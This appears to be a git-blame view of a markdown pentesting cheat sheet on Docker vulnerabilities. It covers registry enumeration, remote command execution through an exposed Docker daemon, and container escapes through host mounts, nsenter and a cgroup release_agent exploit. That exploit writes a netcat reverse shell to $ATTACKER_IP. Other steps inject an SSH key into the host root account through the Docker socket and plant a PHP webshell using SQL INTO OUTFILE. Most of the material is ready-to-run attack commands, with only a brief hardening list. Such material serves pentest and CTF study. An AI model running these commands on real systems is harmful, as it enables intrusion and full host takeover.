2022-11-13 22:38:01 +01:00
|
|
|
# Docker Vulnerabilities
|
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
## Check if you are inside a container
|
|
|
|
|
|
|
|
* Low process count
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
```sh
|
|
|
|
ps aux
|
|
|
|
```
|
|
|
|
|
|
|
|
* `.dockerenv` in `/`
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
```sh
|
|
|
|
cd / && ls -lah
|
|
|
|
```
|
|
|
|
|
|
|
|
* cgroups contain docker names
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
```sh
|
|
|
|
pwd /proc/1
|
|
|
|
cat cgroups
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* [Container enumeration](https://github.com/stealthcopter/deepce)
|
|
|
|
|
|
|
|
## Abusing Registry
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
|
|
|
|
* Registry is a json API endpoint
|
|
|
|
* Private registry added in `/etc/docker/daemon.json`
|
|
|
|
* Can be found by nmap as a service
|
|
|
|
|
2023-08-21 15:10:17 +02:00
|
|
|
Enumerate the Registry through [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber.git).
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
### Enumeration
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* General query
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl http://test.com:5000/v2/_catalog`
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* List tags
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
2023-08-21 15:10:17 +02:00
|
|
|
curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
|
|
|
|
curl http://example.com:5000/v2/<REPOSITORY>/tags/list
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
|
|
|
`history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
|
|
|
|
```
|
|
|
|
|
|
|
|
## Reversing Docker Images
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* [Dive](https://github.com/wagoodman/dive)
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
dive <IMAGE-ID>
|
|
|
|
```
|
|
|
|
|
|
|
|
## Uploading Images to Registry
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Ever image has a `latest` tag
|
|
|
|
* Upload modified docker image as `latest`
|
|
|
|
* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)
|
|
|
|
|
|
|
|
## RCE via Exposed Docker Daemon
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Users inside the `docker` group may open tcp socket through docker
|
|
|
|
* `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker
|
|
|
|
* Confirming via `curl http://test.com:2375/version` on open docker port
|
|
|
|
* Execute commands on socket
|
2023-08-21 15:10:17 +02:00
|
|
|
|
|
|
|
```sh
|
|
|
|
docker -H tcp://test.com:2375 ps
|
|
|
|
docker -H tcp://test.com:2375 exec <container> <cmd>
|
|
|
|
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
|
|
|
|
```
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)
|
|
|
|
|
|
|
|
## Escape Container via Exposed Docker Daemon
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Looking for exposed docker sockets
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
2023-05-03 23:20:31 +02:00
|
|
|
find / -name "*sock" 2>/dev/null
|
2022-11-13 22:38:01 +01:00
|
|
|
groups
|
|
|
|
```
|
|
|
|
|
2023-08-21 15:10:17 +02:00
|
|
|
* Mount the host volume and chroot to it, need alpine image.
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
docker images
|
|
|
|
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
or
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
|
|
|
|
```
|
|
|
|
|
|
|
|
## Shared Namespaces
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Namespaces
|
|
|
|
* Cgroups
|
|
|
|
* OverlayFS
|
|
|
|
|
|
|
|
* Requires root inside the container
|
|
|
|
|
|
|
|
* Execute command
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
nsenter --target 1 --mount sh
|
|
|
|
```
|
|
|
|
|
|
|
|
## Misconfiguration
|
2023-05-05 18:27:45 +02:00
|
|
|
|
2023-08-21 15:10:17 +02:00
|
|
|
### capabilities
|
2023-05-05 18:27:45 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Privileged container connect to the host directly, not through the docker engine
|
|
|
|
* Execution of bins on the host from libs inside the container is possible
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
capsh --print
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* `man capabilities`
|
|
|
|
|
|
|
|
* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)
|
|
|
|
|
|
|
|
* Exploit and get a reverse shell to the host via
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
|
|
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
|
|
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
|
|
echo "$host_path/exploit" > /tmp/cgrp/release_agent
|
|
|
|
echo '#!/bin/sh' > /exploit
|
|
|
|
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
|
|
|
|
chmod a+x /exploit
|
|
|
|
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* The file may appear outside the container on the host system
|
2023-05-03 23:20:31 +02:00
|
|
|
|
2023-05-05 18:27:45 +02:00
|
|
|
### cap_admin
|
|
|
|
|
|
|
|
`cap_sys_admin` provides the ability to spawn a root shell inside the container
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2023-05-05 18:27:45 +02:00
|
|
|
```sh
|
|
|
|
capsh --gid=0 --uid=0 --
|
|
|
|
```
|
|
|
|
|
2023-08-21 15:10:17 +02:00
|
|
|
Further, if there is access to the host this capability can be used to set
|
|
|
|
`chmod u+s /bin/bash` and list the available mounts. The mounts can be listed
|
|
|
|
`findmnt`.
|
|
|
|
Resulting in a useable root bash on the host via executing it on the path of
|
|
|
|
the docker volume, e.g.
|
|
|
|
|
2023-05-05 18:27:45 +02:00
|
|
|
```sh
|
|
|
|
/var/lib/docker/overlay2/l/randomhash/bin/bash -p
|
|
|
|
```
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
## Check fdisk
|
|
|
|
|
|
|
|
* `fdisk -l` and `lsblk`, host bulk device may be exposed
|
|
|
|
* Mount the device
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
mkdir /mnt/hostdev
|
|
|
|
mount /dev/<hostVda> /mnt/hostdev
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Check `/dev` as well !!! and mount device
|
|
|
|
|
|
|
|
## Creating a Container from inside another container
|
|
|
|
|
|
|
|
* Needs root inside a container
|
|
|
|
* Upload [static curl](https://github.com/moparisthebest/static-curl)
|
|
|
|
* Check available images and containers
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
|
|
|
|
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Inside the container as root
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Return value is the ID
|
|
|
|
* Start a container
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
|
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Login in to the host via ssh remotely or socat locally
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
socat - UNIX-CONNECT:/var/run/docker.sock
|
|
|
|
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
|
|
|
Host:
|
|
|
|
Connection: Upgrade
|
|
|
|
Upgrade: tcp
|
|
|
|
|
|
|
|
HTTP/1.1 101 UPGRADED
|
|
|
|
Content-Type: application/vnd.docker.raw-stream
|
|
|
|
Connection: Upgrade
|
|
|
|
Upgrade: tcp
|
|
|
|
```
|
|
|
|
|
|
|
|
## Escape through DB
|
|
|
|
|
|
|
|
* Login into DB
|
|
|
|
* Create table
|
|
|
|
* Inject PHP code
|
2023-05-03 23:20:31 +02:00
|
|
|
* Select table content into a file the user can read
|
2022-11-13 22:38:01 +01:00
|
|
|
* Execute the file
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sql
|
|
|
|
create table h4x0r (pwn varchar(1024));
|
2023-05-03 23:20:31 +02:00
|
|
|
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
|
|
|
|
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
|
|
|
|
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* curl the webshell hon the exploited host
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
curl <host-IP>/shell.php?cmd=id
|
|
|
|
```
|
|
|
|
|
|
|
|
## Dirty c0w
|
2023-08-21 15:10:17 +02:00
|
|
|
|
|
|
|
[DirtyC0w](https://github.com/dirtycow/dirtycow.github.io)
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
## runC
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
|
|
|
|
|
|
|
|
## Securing a Container
|
2023-08-21 15:10:17 +02:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Least Privileges
|
|
|
|
* Seccomp
|
|
|
|
* Securing Registry via TLS
|
2023-08-21 15:10:17 +02:00
|
|
|
|
|
|
|
## References
|
|
|
|
|
|
|
|
* [Docker Registry Grabber](https://github.com/Syzik/DockerRegistryGrabber.git)
|